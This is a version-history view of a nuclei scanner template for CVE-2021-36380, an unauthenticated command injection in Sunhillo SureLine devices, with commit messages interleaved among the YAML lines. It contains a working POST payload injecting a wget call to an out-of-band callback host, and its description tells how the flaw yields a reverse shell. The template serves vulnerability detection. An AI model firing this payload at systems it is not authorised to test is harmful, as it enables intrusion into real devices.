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nuclei-templates/cves/2021/CVE-2021-36380.yaml

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Create CVE-2021-36380.yaml The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-31 18:10:49 +00:00
id: CVE-2021-36380
info:
Update CVE-2021-36380.yaml
2021-08-01 20:03:10 +00:00
name: Sunhillo SureLine - Unauthenticated OS Command Injection
Create CVE-2021-36380.yaml The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-31 18:10:49 +00:00
description: The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
author: gy741
severity: critical
Removed pipe (|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84
2021-08-19 13:59:12 +00:00
reference:
Create CVE-2021-36380.yaml The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-31 18:10:49 +00:00
- https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
tags: cve,cve2021,sureline,rce,oob
requests:
- raw:
- |
POST /cgi/networkDiag.cgi HTTP/1.1
Host: {{Hostname}}
command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"